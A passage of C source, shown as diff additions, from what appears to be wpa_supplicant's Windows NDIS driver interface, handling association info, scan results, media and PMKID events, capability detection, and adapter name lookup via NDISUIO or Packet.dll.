+ char buf[512], *pos; + NDIS_802_11_ASSOCIATION_INFORMATION *ai; + int len; + union wpa_event_data data; + NDIS_802_11_BSSID_LIST_EX *b; + size_t blen, i; + + len = ndis_get_oid(drv, OID_802_11_ASSOCIATION_INFORMATION, buf, + sizeof(buf)); + if (len < 0) { + wpa_printf(MSG_DEBUG, "NDIS: failed to get association " + "information"); + return -1; + } + if (len > sizeof(buf)) { + /* Some drivers seem to be producing incorrect length for this + * data. Limit the length to the current buffer size to avoid + * crashing in hexdump. The data seems to be otherwise valid, + * so better try to use it. */ + wpa_printf(MSG_DEBUG, "NDIS: ignored bogus association " + "information length %d", len); + len = ndis_get_oid(drv, OID_802_11_ASSOCIATION_INFORMATION, + buf, sizeof(buf)); + if (len < -1) { + wpa_printf(MSG_DEBUG, "NDIS: re-reading association " + "information failed"); + return -1; + } + if (len > sizeof(buf)) { + wpa_printf(MSG_DEBUG, "NDIS: ignored bogus association" + " information length %d (re-read)", len); + len = sizeof(buf); + } + } + wpa_hexdump(MSG_MSGDUMP, "NDIS: association information", + (u8 *) buf, len); + if (len < sizeof(*ai)) { + wpa_printf(MSG_DEBUG, "NDIS: too short association " + "information"); + return -1; + } + ai = (NDIS_802_11_ASSOCIATION_INFORMATION *) buf; + wpa_printf(MSG_DEBUG, "NDIS: ReqFixed=0x%x RespFixed=0x%x off_req=%d " + "off_resp=%d len_req=%d len_resp=%d", + ai->AvailableRequestFixedIEs, ai->AvailableResponseFixedIEs, + (int) ai->OffsetRequestIEs, (int) ai->OffsetResponseIEs, + (int) ai->RequestIELength, (int) ai->ResponseIELength); + + if (ai->OffsetRequestIEs + ai->RequestIELength > (unsigned) len || + ai->OffsetResponseIEs + ai->ResponseIELength > (unsigned) len) { + wpa_printf(MSG_DEBUG, "NDIS: association information - " + "IE overflow"); + return -1; + } + + wpa_hexdump(MSG_MSGDUMP, "NDIS: Request IEs", + (u8 *) buf + ai->OffsetRequestIEs, ai->RequestIELength); + wpa_hexdump(MSG_MSGDUMP, "NDIS: Response IEs", + (u8 *) buf + ai->OffsetResponseIEs, ai->ResponseIELength); + + os_memset(&data, 0, sizeof(data)); + data.assoc_info.req_ies = (u8 *) buf + ai->OffsetRequestIEs; + data.assoc_info.req_ies_len = ai->RequestIELength; + data.assoc_info.resp_ies = (u8 *) buf + ai->OffsetResponseIEs; + data.assoc_info.resp_ies_len = ai->ResponseIELength; + + blen = 65535; + b = os_zalloc(blen); + if (b == NULL) + goto skip_scan_results; + len = ndis_get_oid(drv, OID_802_11_BSSID_LIST, (char *) b, blen); + if (len < 0) { + wpa_printf(MSG_DEBUG, "NDIS: failed to get scan results"); + os_free(b); + b = NULL; + goto skip_scan_results; + } + wpa_printf(MSG_DEBUG, "NDIS: %d BSSID items to process for AssocInfo", + (unsigned int) b->NumberOfItems); + + pos = (char *) &b->Bssid[0]; + for (i = 0; i < b->NumberOfItems; i++) { + NDIS_WLAN_BSSID_EX *bss = (NDIS_WLAN_BSSID_EX *) pos; + if (os_memcmp(drv->bssid, bss->MacAddress, ETH_ALEN) == 0 && + bss->IELength > sizeof(NDIS_802_11_FIXED_IEs)) { + data.assoc_info.beacon_ies = + ((u8 *) bss->IEs) + + sizeof(NDIS_802_11_FIXED_IEs); + data.assoc_info.beacon_ies_len = + bss->IELength - sizeof(NDIS_802_11_FIXED_IEs); + wpa_hexdump(MSG_MSGDUMP, "NDIS: Beacon IEs", + data.assoc_info.beacon_ies, + data.assoc_info.beacon_ies_len); + break; + } + pos += bss->Length; + if (pos > (char *) b + blen) + break; + } + +skip_scan_results: + wpa_supplicant_event(drv->ctx, EVENT_ASSOCINFO, &data); + + os_free(b); + + return 0; +} + + +static void wpa_driver_ndis_poll_timeout(void *eloop_ctx, void *timeout_ctx) +{ + struct wpa_driver_ndis_data *drv = eloop_ctx; + u8 bssid[ETH_ALEN]; + int poll; + + if (drv->wired) + return; + + if (wpa_driver_ndis_get_bssid(drv, bssid)) { + /* Disconnected */ + if (!is_zero_ether_addr(drv->bssid)) { + os_memset(drv->bssid, 0, ETH_ALEN); + wpa_supplicant_event(drv->ctx, EVENT_DISASSOC, NULL); + } + } else { + /* Connected */ + if (os_memcmp(drv->bssid, bssid, ETH_ALEN) != 0) { + os_memcpy(drv->bssid, bssid, ETH_ALEN); + wpa_driver_ndis_get_associnfo(drv); + wpa_supplicant_event(drv->ctx, EVENT_ASSOC, NULL); + } + } + + /* When using integrated NDIS event receiver, we can skip BSSID + * polling when using infrastructure network. However, when using + * IBSS mode, many driver do not seem to generate connection event, + * so we need to enable BSSID polling to figure out when IBSS network + * has been formed. + */ + poll = drv->mode == IEEE80211_MODE_IBSS; +#ifndef CONFIG_NDIS_EVENTS_INTEGRATED +#ifndef _WIN32_WCE + poll = 1; +#endif /* _WIN32_WCE */ +#endif /* CONFIG_NDIS_EVENTS_INTEGRATED */ + + if (poll) { + eloop_register_timeout(1, 0, wpa_driver_ndis_poll_timeout, + drv, NULL); + } +} + + +static void wpa_driver_ndis_poll(void *priv) +{ + struct wpa_driver_ndis_data *drv = priv; + eloop_cancel_timeout(wpa_driver_ndis_poll_timeout, drv, NULL); + wpa_driver_ndis_poll_timeout(drv, NULL); +} + + +/* Called when driver generates Media Connect Event by calling + * NdisMIndicateStatus() with NDIS_STATUS_MEDIA_CONNECT */ +void wpa_driver_ndis_event_connect(struct wpa_driver_ndis_data *drv) +{ + wpa_printf(MSG_DEBUG, "NDIS: Media Connect Event"); + if (wpa_driver_ndis_get_bssid(drv, drv->bssid) == 0) { + wpa_driver_ndis_get_associnfo(drv); + wpa_supplicant_event(drv->ctx, EVENT_ASSOC, NULL); + } +} + + +/* Called when driver generates Media Disconnect Event by calling + * NdisMIndicateStatus() with NDIS_STATUS_MEDIA_DISCONNECT */ +void wpa_driver_ndis_event_disconnect(struct wpa_driver_ndis_data *drv) +{ + wpa_printf(MSG_DEBUG, "NDIS: Media Disconnect Event"); + os_memset(drv->bssid, 0, ETH_ALEN); + wpa_supplicant_event(drv->ctx, EVENT_DISASSOC, NULL); +} + + +static void wpa_driver_ndis_event_auth(struct wpa_driver_ndis_data *drv, + const u8 *data, size_t data_len) +{ + NDIS_802_11_AUTHENTICATION_REQUEST *req; + int pairwise = 0, group = 0; + union wpa_event_data event; + + if (data_len < sizeof(*req)) { + wpa_printf(MSG_DEBUG, "NDIS: Too short Authentication Request " + "Event (len=%d)", data_len); + return; + } + req = (NDIS_802_11_AUTHENTICATION_REQUEST *) data; + + wpa_printf(MSG_DEBUG, "NDIS: Authentication Request Event: " + "Bssid " MACSTR " Flags 0x%x", + MAC2STR(req->Bssid), (int) req->Flags); + + if ((req->Flags & NDIS_802_11_AUTH_REQUEST_PAIRWISE_ERROR) == + NDIS_802_11_AUTH_REQUEST_PAIRWISE_ERROR) + pairwise = 1; + else if ((req->Flags & NDIS_802_11_AUTH_REQUEST_GROUP_ERROR) == + NDIS_802_11_AUTH_REQUEST_GROUP_ERROR) + group = 1; + + if (pairwise || group) { + os_memset(&event, 0, sizeof(event)); + event.michael_mic_failure.unicast = pairwise; + wpa_supplicant_event(drv->ctx, EVENT_MICHAEL_MIC_FAILURE, + &event); + } +} + + +static void wpa_driver_ndis_event_pmkid(struct wpa_driver_ndis_data *drv, + const u8 *data, size_t data_len) +{ + NDIS_802_11_PMKID_CANDIDATE_LIST *pmkid; + size_t i; + union wpa_event_data event; + + if (data_len < 8) { + wpa_printf(MSG_DEBUG, "NDIS: Too short PMKID Candidate List " + "Event (len=%d)", data_len); + return; + } + pmkid = (NDIS_802_11_PMKID_CANDIDATE_LIST *) data; + wpa_printf(MSG_DEBUG, "NDIS: PMKID Candidate List Event - Version %d " + "NumCandidates %d", + (int) pmkid->Version, (int) pmkid->NumCandidates); + + if (pmkid->Version != 1) { + wpa_printf(MSG_DEBUG, "NDIS: Unsupported PMKID Candidate List " + "Version %d", (int) pmkid->Version); + return; + } + + if (data_len < 8 + pmkid->NumCandidates * sizeof(PMKID_CANDIDATE)) { + wpa_printf(MSG_DEBUG, "NDIS: PMKID Candidate List underflow"); + return; + } + + os_memset(&event, 0, sizeof(event)); + for (i = 0; i < pmkid->NumCandidates; i++) { + PMKID_CANDIDATE *p = &pmkid->CandidateList[i]; + wpa_printf(MSG_DEBUG, "NDIS: %d: " MACSTR " Flags 0x%x", + i, MAC2STR(p->BSSID), (int) p->Flags); + os_memcpy(event.pmkid_candidate.bssid, p->BSSID, ETH_ALEN); + event.pmkid_candidate.index = i; + event.pmkid_candidate.preauth = + p->Flags & NDIS_802_11_PMKID_CANDIDATE_PREAUTH_ENABLED; + wpa_supplicant_event(drv->ctx, EVENT_PMKID_CANDIDATE, + &event); + } +} + + +/* Called when driver calls NdisMIndicateStatus() with + * NDIS_STATUS_MEDIA_SPECIFIC_INDICATION */ +void wpa_driver_ndis_event_media_specific(struct wpa_driver_ndis_data *drv, + const u8 *data, size_t data_len) +{ + NDIS_802_11_STATUS_INDICATION *status; + + if (data == NULL || data_len < sizeof(*status)) + return; + + wpa_hexdump(MSG_DEBUG, "NDIS: Media Specific Indication", + data, data_len); + + status = (NDIS_802_11_STATUS_INDICATION *) data; + data += sizeof(status); + data_len -= sizeof(status); + + switch (status->StatusType) { + case Ndis802_11StatusType_Authentication: + wpa_driver_ndis_event_auth(drv, data, data_len); + break; + case Ndis802_11StatusType_PMKID_CandidateList: + wpa_driver_ndis_event_pmkid(drv, data, data_len); + break; + default: + wpa_printf(MSG_DEBUG, "NDIS: Unknown StatusType %d", + (int) status->StatusType); + break; + } +} + + +/* Called when an adapter is added */ +void wpa_driver_ndis_event_adapter_arrival(struct wpa_driver_ndis_data *drv) +{ + union wpa_event_data event; + int i; + + wpa_printf(MSG_DEBUG, "NDIS: Notify Adapter Arrival"); + + for (i = 0; i < 30; i++) { + /* Re-open Packet32/NDISUIO connection */ + wpa_driver_ndis_adapter_close(drv); + if (wpa_driver_ndis_adapter_init(drv) < 0 || + wpa_driver_ndis_adapter_open(drv) < 0) { + wpa_printf(MSG_DEBUG, "NDIS: Driver re-initialization " + "(%d) failed", i); + os_sleep(1, 0); + } else { + wpa_printf(MSG_DEBUG, "NDIS: Driver re-initialized"); + break; + } + } + + os_memset(&event, 0, sizeof(event)); + os_strlcpy(event.interface_status.ifname, drv->ifname, + sizeof(event.interface_status.ifname)); + event.interface_status.ievent = EVENT_INTERFACE_ADDED; + wpa_supplicant_event(drv->ctx, EVENT_INTERFACE_STATUS, &event); +} + + +/* Called when an adapter is removed */ +void wpa_driver_ndis_event_adapter_removal(struct wpa_driver_ndis_data *drv) +{ + union wpa_event_data event; + + wpa_printf(MSG_DEBUG, "NDIS: Notify Adapter Removal"); + os_memset(&event, 0, sizeof(event)); + os_strlcpy(event.interface_status.ifname, drv->ifname, + sizeof(event.interface_status.ifname)); + event.interface_status.ievent = EVENT_INTERFACE_REMOVED; + wpa_supplicant_event(drv->ctx, EVENT_INTERFACE_STATUS, &event); +} + + +static void +wpa_driver_ndis_get_wpa_capability(struct wpa_driver_ndis_data *drv) +{ + wpa_printf(MSG_DEBUG, "NDIS: verifying driver WPA capability"); + + if (ndis_set_auth_mode(drv, Ndis802_11AuthModeWPA) == 0 && + ndis_get_auth_mode(drv) == Ndis802_11AuthModeWPA) { + wpa_printf(MSG_DEBUG, "NDIS: WPA key management supported"); + drv->capa.key_mgmt |= WPA_DRIVER_CAPA_KEY_MGMT_WPA; + } + + if (ndis_set_auth_mode(drv, Ndis802_11AuthModeWPAPSK) == 0 && + ndis_get_auth_mode(drv) == Ndis802_11AuthModeWPAPSK) { + wpa_printf(MSG_DEBUG, "NDIS: WPA-PSK key management " + "supported"); + drv->capa.key_mgmt |= WPA_DRIVER_CAPA_KEY_MGMT_WPA_PSK; + } + + if (ndis_set_encr_status(drv, Ndis802_11Encryption3Enabled) == 0 && + ndis_get_encr_status(drv) == Ndis802_11Encryption3KeyAbsent) { + wpa_printf(MSG_DEBUG, "NDIS: CCMP encryption supported"); + drv->capa.enc |= WPA_DRIVER_CAPA_ENC_CCMP; + } + + if (ndis_set_encr_status(drv, Ndis802_11Encryption2Enabled) == 0 && + ndis_get_encr_status(drv) == Ndis802_11Encryption2KeyAbsent) { + wpa_printf(MSG_DEBUG, "NDIS: TKIP encryption supported"); + drv->capa.enc |= WPA_DRIVER_CAPA_ENC_TKIP; + } + + if (ndis_set_encr_status(drv, Ndis802_11Encryption1Enabled) == 0 && + ndis_get_encr_status(drv) == Ndis802_11Encryption1KeyAbsent) { + wpa_printf(MSG_DEBUG, "NDIS: WEP encryption supported"); + drv->capa.enc |= WPA_DRIVER_CAPA_ENC_WEP40 | + WPA_DRIVER_CAPA_ENC_WEP104; + } + + if (ndis_set_auth_mode(drv, Ndis802_11AuthModeShared) == 0 && + ndis_get_auth_mode(drv) == Ndis802_11AuthModeShared) { + drv->capa.auth |= WPA_DRIVER_AUTH_SHARED; + } + + if (ndis_set_auth_mode(drv, Ndis802_11AuthModeOpen) == 0 && + ndis_get_auth_mode(drv) == Ndis802_11AuthModeOpen) { + drv->capa.auth |= WPA_DRIVER_AUTH_OPEN; + } + + ndis_set_encr_status(drv, Ndis802_11EncryptionDisabled); + + /* Could also verify OID_802_11_ADD_KEY error reporting and + * support for OID_802_11_ASSOCIATION_INFORMATION. */ + + if (drv->capa.key_mgmt & WPA_DRIVER_CAPA_KEY_MGMT_WPA && + drv->capa.enc & (WPA_DRIVER_CAPA_ENC_TKIP | + WPA_DRIVER_CAPA_ENC_CCMP)) { + wpa_printf(MSG_DEBUG, "NDIS: driver supports WPA"); + drv->has_capability = 1; + } else { + wpa_printf(MSG_DEBUG, "NDIS: no WPA support found"); + } + + wpa_printf(MSG_DEBUG, "NDIS: driver capabilities: key_mgmt 0x%x " + "enc 0x%x auth 0x%x", + drv->capa.key_mgmt, drv->capa.enc, drv->capa.auth); +} + + +static void wpa_driver_ndis_get_capability(struct wpa_driver_ndis_data *drv) +{ + char buf[512]; + int len; + size_t i; + NDIS_802_11_CAPABILITY *c; + + drv->capa.flags = WPA_DRIVER_FLAGS_DRIVER_IE; + + len = ndis_get_oid(drv, OID_802_11_CAPABILITY, buf, sizeof(buf)); + if (len < 0) { + wpa_driver_ndis_get_wpa_capability(drv); + return; + } + + wpa_hexdump(MSG_MSGDUMP, "OID_802_11_CAPABILITY", (u8 *) buf, len); + c = (NDIS_802_11_CAPABILITY *) buf; + if (len < sizeof(*c) || c->Version != 2) { + wpa_printf(MSG_DEBUG, "NDIS: unsupported " + "OID_802_11_CAPABILITY data"); + return; + } + wpa_printf(MSG_DEBUG, "NDIS: Driver supports OID_802_11_CAPABILITY - " + "NoOfPMKIDs %d NoOfAuthEncrPairs %d", + (int) c->NoOfPMKIDs, + (int) c->NoOfAuthEncryptPairsSupported); + drv->has_capability = 1; + drv->no_of_pmkid = c->NoOfPMKIDs; + for (i = 0; i < c->NoOfAuthEncryptPairsSupported; i++) { + NDIS_802_11_AUTHENTICATION_ENCRYPTION *ae; + ae = &c->AuthenticationEncryptionSupported[i]; + if ((char *) (ae + 1) > buf + len) { + wpa_printf(MSG_DEBUG, "NDIS: auth/encr pair list " + "overflow"); + break; + } + wpa_printf(MSG_MSGDUMP, "NDIS: %d - auth %d encr %d", + i, (int) ae->AuthModeSupported, + (int) ae->EncryptStatusSupported); + switch (ae->AuthModeSupported) { + case Ndis802_11AuthModeOpen: + drv->capa.auth |= WPA_DRIVER_AUTH_OPEN; + break; + case Ndis802_11AuthModeShared: + drv->capa.auth |= WPA_DRIVER_AUTH_SHARED; + break; + case Ndis802_11AuthModeWPA: + drv->capa.key_mgmt |= WPA_DRIVER_CAPA_KEY_MGMT_WPA; + break; + case Ndis802_11AuthModeWPAPSK: + drv->capa.key_mgmt |= WPA_DRIVER_CAPA_KEY_MGMT_WPA_PSK; + break; + case Ndis802_11AuthModeWPA2: + drv->capa.key_mgmt |= WPA_DRIVER_CAPA_KEY_MGMT_WPA2; + break; + case Ndis802_11AuthModeWPA2PSK: + drv->capa.key_mgmt |= + WPA_DRIVER_CAPA_KEY_MGMT_WPA2_PSK; + break; + case Ndis802_11AuthModeWPANone: + drv->capa.key_mgmt |= + WPA_DRIVER_CAPA_KEY_MGMT_WPA_NONE; + break; + default: + break; + } + switch (ae->EncryptStatusSupported) { + case Ndis802_11Encryption1Enabled: + drv->capa.enc |= WPA_DRIVER_CAPA_ENC_WEP40; + drv->capa.enc |= WPA_DRIVER_CAPA_ENC_WEP104; + break; + case Ndis802_11Encryption2Enabled: + drv->capa.enc |= WPA_DRIVER_CAPA_ENC_TKIP; + break; + case Ndis802_11Encryption3Enabled: + drv->capa.enc |= WPA_DRIVER_CAPA_ENC_CCMP; + break; + default: + break; + } + } + + wpa_printf(MSG_DEBUG, "NDIS: driver capabilities: key_mgmt 0x%x " + "enc 0x%x auth 0x%x", + drv->capa.key_mgmt, drv->capa.enc, drv->capa.auth); +} + + +static int wpa_driver_ndis_get_capa(void *priv, struct wpa_driver_capa *capa) +{ + struct wpa_driver_ndis_data *drv = priv; + if (!drv->has_capability) + return -1; + os_memcpy(capa, &drv->capa, sizeof(*capa)); + return 0; +} + + +static const char * wpa_driver_ndis_get_ifname(void *priv) +{ + struct wpa_driver_ndis_data *drv = priv; + return drv->ifname; +} + + +static const u8 * wpa_driver_ndis_get_mac_addr(void *priv) +{ + struct wpa_driver_ndis_data *drv = priv; + return drv->own_addr; +} + + +#ifdef _WIN32_WCE + +#define NDISUIO_MSG_SIZE (sizeof(NDISUIO_DEVICE_NOTIFICATION) + 512) + +static void ndisuio_notification_receive(void *eloop_data, void *user_ctx) +{ + struct wpa_driver_ndis_data *drv = eloop_data; + NDISUIO_DEVICE_NOTIFICATION *hdr; + u8 buf[NDISUIO_MSG_SIZE]; + DWORD len, flags; + + if (!ReadMsgQueue(drv->event_queue, buf, NDISUIO_MSG_SIZE, &len, 0, + &flags)) { + wpa_printf(MSG_DEBUG, "ndisuio_notification_receive: " + "ReadMsgQueue failed: %d", (int) GetLastError()); + return; + } + + if (len < sizeof(NDISUIO_DEVICE_NOTIFICATION)) { + wpa_printf(MSG_DEBUG, "ndisuio_notification_receive: " + "Too short message (len=%d)", (int) len); + return; + } + + hdr = (NDISUIO_DEVICE_NOTIFICATION *) buf; + wpa_printf(MSG_DEBUG, "NDIS: Notification received: len=%d type=0x%x", + (int) len, hdr->dwNotificationType); + + switch (hdr->dwNotificationType) { +#ifdef NDISUIO_NOTIFICATION_ADAPTER_ARRIVAL + case NDISUIO_NOTIFICATION_ADAPTER_ARRIVAL: + wpa_printf(MSG_DEBUG, "NDIS: ADAPTER_ARRIVAL"); + wpa_driver_ndis_event_adapter_arrival(drv); + break; +#endif +#ifdef NDISUIO_NOTIFICATION_ADAPTER_REMOVAL + case NDISUIO_NOTIFICATION_ADAPTER_REMOVAL: + wpa_printf(MSG_DEBUG, "NDIS: ADAPTER_REMOVAL"); + wpa_driver_ndis_event_adapter_removal(drv); + break; +#endif + case NDISUIO_NOTIFICATION_MEDIA_CONNECT: + wpa_printf(MSG_DEBUG, "NDIS: MEDIA_CONNECT"); + SetEvent(drv->connected_event); + wpa_driver_ndis_event_connect(drv); + break; + case NDISUIO_NOTIFICATION_MEDIA_DISCONNECT: + ResetEvent(drv->connected_event); + wpa_printf(MSG_DEBUG, "NDIS: MEDIA_DISCONNECT"); + wpa_driver_ndis_event_disconnect(drv); + break; + case NDISUIO_NOTIFICATION_MEDIA_SPECIFIC_NOTIFICATION: + wpa_printf(MSG_DEBUG, "NDIS: MEDIA_SPECIFIC_NOTIFICATION"); +#if _WIN32_WCE == 420 || _WIN32_WCE == 0x420 + wpa_driver_ndis_event_media_specific( + drv, hdr->pvStatusBuffer, hdr->uiStatusBufferSize); +#else + wpa_driver_ndis_event_media_specific( + drv, ((const u8 *) hdr) + hdr->uiOffsetToStatusBuffer, + (size_t) hdr->uiStatusBufferSize); +#endif + break; + default: + wpa_printf(MSG_DEBUG, "NDIS: Unknown notification type 0x%x", + hdr->dwNotificationType); + break; + } +} + + +static void ndisuio_notification_deinit(struct wpa_driver_ndis_data *drv) +{ + NDISUIO_REQUEST_NOTIFICATION req; + + memset(&req, 0, sizeof(req)); + req.hMsgQueue = drv->event_queue; + req.dwNotificationTypes = 0; + + if (!DeviceIoControl(drv->ndisuio, IOCTL_NDISUIO_REQUEST_NOTIFICATION, + &req, sizeof(req), NULL, 0, NULL, NULL)) { + wpa_printf(MSG_INFO, "ndisuio_notification_deinit: " + "IOCTL_NDISUIO_REQUEST_NOTIFICATION failed: %d", + (int) GetLastError()); + } + + if (!DeviceIoControl(drv->ndisuio, IOCTL_NDISUIO_CANCEL_NOTIFICATION, + NULL, 0, NULL, 0, NULL, NULL)) { + wpa_printf(MSG_INFO, "ndisuio_notification_deinit: " + "IOCTL_NDISUIO_CANCEL_NOTIFICATION failed: %d", + (int) GetLastError()); + } + + if (drv->event_queue) { + eloop_unregister_event(drv->event_queue, + sizeof(drv->event_queue)); + CloseHandle(drv->event_queue); + drv->event_queue = NULL; + } + + if (drv->connected_event) { + CloseHandle(drv->connected_event); + drv->connected_event = NULL; + } +} + + +static int ndisuio_notification_init(struct wpa_driver_ndis_data *drv) +{ + MSGQUEUEOPTIONS opt; + NDISUIO_REQUEST_NOTIFICATION req; + + drv->connected_event = + CreateEvent(NULL, TRUE, FALSE, TEXT("WpaSupplicantConnected")); + if (drv->connected_event == NULL) { + wpa_printf(MSG_INFO, "ndisuio_notification_init: " + "CreateEvent failed: %d", + (int) GetLastError()); + return -1; + } + + memset(&opt, 0, sizeof(opt)); + opt.dwSize = sizeof(opt); + opt.dwMaxMessages = 5; + opt.cbMaxMessage = NDISUIO_MSG_SIZE; + opt.bReadAccess = TRUE; + + drv->event_queue = CreateMsgQueue(NULL, &opt); + if (drv->event_queue == NULL) { + wpa_printf(MSG_INFO, "ndisuio_notification_init: " + "CreateMsgQueue failed: %d", + (int) GetLastError()); + ndisuio_notification_deinit(drv); + return -1; + } + + memset(&req, 0, sizeof(req)); + req.hMsgQueue = drv->event_queue; + req.dwNotificationTypes = +#ifdef NDISUIO_NOTIFICATION_ADAPTER_ARRIVAL + NDISUIO_NOTIFICATION_ADAPTER_ARRIVAL | +#endif +#ifdef NDISUIO_NOTIFICATION_ADAPTER_REMOVAL + NDISUIO_NOTIFICATION_ADAPTER_REMOVAL | +#endif + NDISUIO_NOTIFICATION_MEDIA_CONNECT | + NDISUIO_NOTIFICATION_MEDIA_DISCONNECT | + NDISUIO_NOTIFICATION_MEDIA_SPECIFIC_NOTIFICATION; + + if (!DeviceIoControl(drv->ndisuio, IOCTL_NDISUIO_REQUEST_NOTIFICATION, + &req, sizeof(req), NULL, 0, NULL, NULL)) { + wpa_printf(MSG_INFO, "ndisuio_notification_init: " + "IOCTL_NDISUIO_REQUEST_NOTIFICATION failed: %d", + (int) GetLastError()); + ndisuio_notification_deinit(drv); + return -1; + } + + eloop_register_event(drv->event_queue, sizeof(drv->event_queue), + ndisuio_notification_receive, drv, NULL); + + return 0; +} +#endif /* _WIN32_WCE */ + + +static int wpa_driver_ndis_get_names(struct wpa_driver_ndis_data *drv) +{ +#ifdef CONFIG_USE_NDISUIO + NDISUIO_QUERY_BINDING *b; + size_t blen = sizeof(*b) + 1024; + int i, error, found = 0; + DWORD written; + char name[256], desc[256], *dpos; + WCHAR *pos; + size_t j, len, dlen; + + b = os_malloc(blen); + if (b == NULL) + return -1; + + for (i = 0; ; i++) { + os_memset(b, 0, blen); + b->BindingIndex = i; + if (!DeviceIoControl(drv->ndisuio, IOCTL_NDISUIO_QUERY_BINDING, + b, sizeof(NDISUIO_QUERY_BINDING), b, blen, + &written, NULL)) { + error = (int) GetLastError(); + if (error == ERROR_NO_MORE_ITEMS) + break; + wpa_printf(MSG_DEBUG, "IOCTL_NDISUIO_QUERY_BINDING " + "failed: %d", error); + break; + } + + pos = (WCHAR *) ((char *) b + b->DeviceNameOffset); + len = b->DeviceNameLength; + if (len >= sizeof(name)) + len = sizeof(name) - 1; + for (j = 0; j < len; j++) + name[j] = (char) pos[j]; + name[len] = '\0'; + + pos = (WCHAR *) ((char *) b + b->DeviceDescrOffset); + len = b->DeviceDescrLength; + if (len >= sizeof(desc)) + len = sizeof(desc) - 1; + for (j = 0; j < len; j++) + desc[j] = (char) pos[j]; + desc[len] = '\0'; + + wpa_printf(MSG_DEBUG, "NDIS: %d - %s - %s", i, name, desc); + + if (os_strstr(name, drv->ifname)) { + wpa_printf(MSG_DEBUG, "NDIS: Interface name match"); + found = 1; + break; + } + + if (os_strncmp(desc, drv->ifname, os_strlen(drv->ifname)) == 0) + { + wpa_printf(MSG_DEBUG, "NDIS: Interface description " + "match"); + found = 1; + break; + } + } + + if (!found) { + wpa_printf(MSG_DEBUG, "NDIS: Could not find interface '%s'", + drv->ifname); + os_free(b); + return -1; + } + + os_strlcpy(drv->ifname, + os_strncmp(name, "\\DEVICE\\", 8) == 0 ? name + 8 : name, + sizeof(drv->ifname)); +#ifdef _WIN32_WCE + drv->adapter_name = wpa_strdup_tchar(drv->ifname); + if (drv->adapter_name == NULL) { + wpa_printf(MSG_ERROR, "NDIS: Failed to allocate memory for " + "adapter name"); + os_free(b); + return -1; + } +#endif /* _WIN32_WCE */ + + dpos = os_strstr(desc, " - "); + if (dpos) + dlen = dpos - desc; + else + dlen = os_strlen(desc); + drv->adapter_desc = dup_binstr(desc, dlen); + os_free(b); + if (drv->adapter_desc == NULL) + return -1; + + wpa_printf(MSG_DEBUG, "NDIS: Adapter description prefix '%s'", + drv->adapter_desc); + + return 0; +#else /* CONFIG_USE_NDISUIO */ + PTSTR _names; + char *names, *pos, *pos2; + ULONG len; + BOOLEAN res; +#define MAX_ADAPTERS 32 + char *name[MAX_ADAPTERS]; + char *desc[MAX_ADAPTERS]; + int num_name, num_desc, i, found_name, found_desc; + size_t dlen; + + wpa_printf(MSG_DEBUG, "NDIS: Packet.dll version: %s", + PacketGetVersion()); + + len = 8192; + _names = os_zalloc(len); + if (_names == NULL) + return -1; + + res = PacketGetAdapterNames(_names, &len); + if (!res && len > 8192) { + os_free(_names); + _names = os_zalloc(len); + if (_names == NULL) + return -1; + res = PacketGetAdapterNames(_names, &len); + } + + if (!res) { + wpa_printf(MSG_ERROR, "NDIS: Failed to get adapter list " + "(PacketGetAdapterNames)"); + os_free(_names); + return -1; + } + + names = (char *) _names; + if (names[0] && names[1] == '\0' && names[2] && names[3] == '\0') { + wpa_printf(MSG_DEBUG, "NDIS: Looks like adapter names are in " + "UNICODE"); + /* Convert to ASCII */ + pos2 = pos = names; + while (pos2 < names + len) { + if (pos2[0] == '\0' && pos2[1] == '\0' && + pos2[2] == '\0' && pos2[3] == '\0') { + pos2 += 4; + break; + } + *pos++ = pos2[0]; + pos2 += 2; + } + os_memcpy(pos + 2, names, pos - names); + pos += 2; + } else + pos = names; + + num_name = 0; + while (pos < names + len) { + name[num_name] = pos; + while (*pos && pos < names + len) + pos++; + if (pos + 1 >= names + len) { + os_free(names); + return -1; + } + pos++; + num_name++; + if (num_name >= MAX_ADAPTERS) { + wpa_printf(MSG_DEBUG, "NDIS: Too many adapters"); + os_free(names); + return -1; + } + if (*pos == '\0') { + wpa_printf(MSG_DEBUG, "NDIS: %d adapter names found", + num_name); + pos++; + break; + } + } + + num_desc = 0; + while (pos < names + len) { + desc[num_desc] = pos; + while (*pos && pos < names + len) + pos++; + if (pos + 1 >= names + len) { + os_free(names); + return -1; + } + pos++; + num_desc++; + if (num_desc >= MAX_ADAPTERS) { + wpa_printf(MSG_DEBUG, "NDIS: Too many adapter " + "descriptions"); + os_free(names); + return -1; + } + if (*pos == '\0') { + wpa_printf(MSG_DEBUG, "NDIS: %d adapter descriptions " + "found", num_name); + pos++; + break; + } + } + + /* + * Windows 98 with Packet.dll 3.0 alpha3 does not include adapter + * descriptions. Fill in dummy descriptors to work around this. + */ + while (num_desc < num_name) + desc[num_desc++] = "dummy description"; + + if (num_name != num_desc) { + wpa_printf(MSG_DEBUG, "NDIS: mismatch in adapter name and " + "description counts (%d != %d)", + num_name, num_desc); + os_free(names); + return -1; + } + + found_name = found_desc = -1; + for (i = 0; i < num_name; i++) { + wpa_printf(MSG_DEBUG, "NDIS: %d - %s - %s", + i, name[i], desc[i]); + if (found_name == -1 && os_strstr(name[i], drv->ifname)) + found_name = i; + if (found_desc == -1 && + os_strncmp(desc[i], drv->ifname, os_strlen(drv->ifname)) == + 0) + found_desc = i; + } + + if (found_name < 0 && found_desc >= 0) { + wpa_printf(MSG_DEBUG, "NDIS: Matched interface '%s' based on " + "description '%s'", + name[found_desc], desc[found_desc]); + found_name = found_desc; + os_strlcpy(drv->ifname, + os_strncmp(name[found_desc], "\\Device\\NPF_", 12) + == 0 ? name[found_desc] + 12 : name[found_desc], + sizeof(drv->ifname)); + } + + if (found_name < 0) { + wpa_printf(MSG_DEBUG, "NDIS: Could not find interface '%s'", + drv->ifname); + os_free(names); + return -1; + } + + i = found_name; + pos = os_strrchr(desc[i], '('); + if (pos) { + dlen = pos - desc[i]; + pos--; + if (pos > desc[i] && *pos == ' ') + dlen--; + } else { + dlen = os_strlen(desc[i]); + } + drv->adapter_desc = dup_binstr(desc[i], dlen); + os_free(names); + if (drv->adapter_desc == NULL) + return -1; + + wpa_printf(MSG_DEBUG, "NDIS: Adapter description prefix '%s'", + drv->adapter_desc); + + return 0; +#endif /* CONFIG_USE_NDISUIO */ +} + + +#if defined(CONFIG_NATIVE_WINDOWS) || defined(__CYGWIN__) +#ifndef _WIN32_WCE +/* + * These structures are undocumented for WinXP; only WinCE version is + * documented. These would be included wzcsapi.h if it were available. Some + * changes here have been needed to make the structures match with WinXP SP2. + * It is unclear whether these work with any other version. + */ + +typedef struct { + LPWSTR 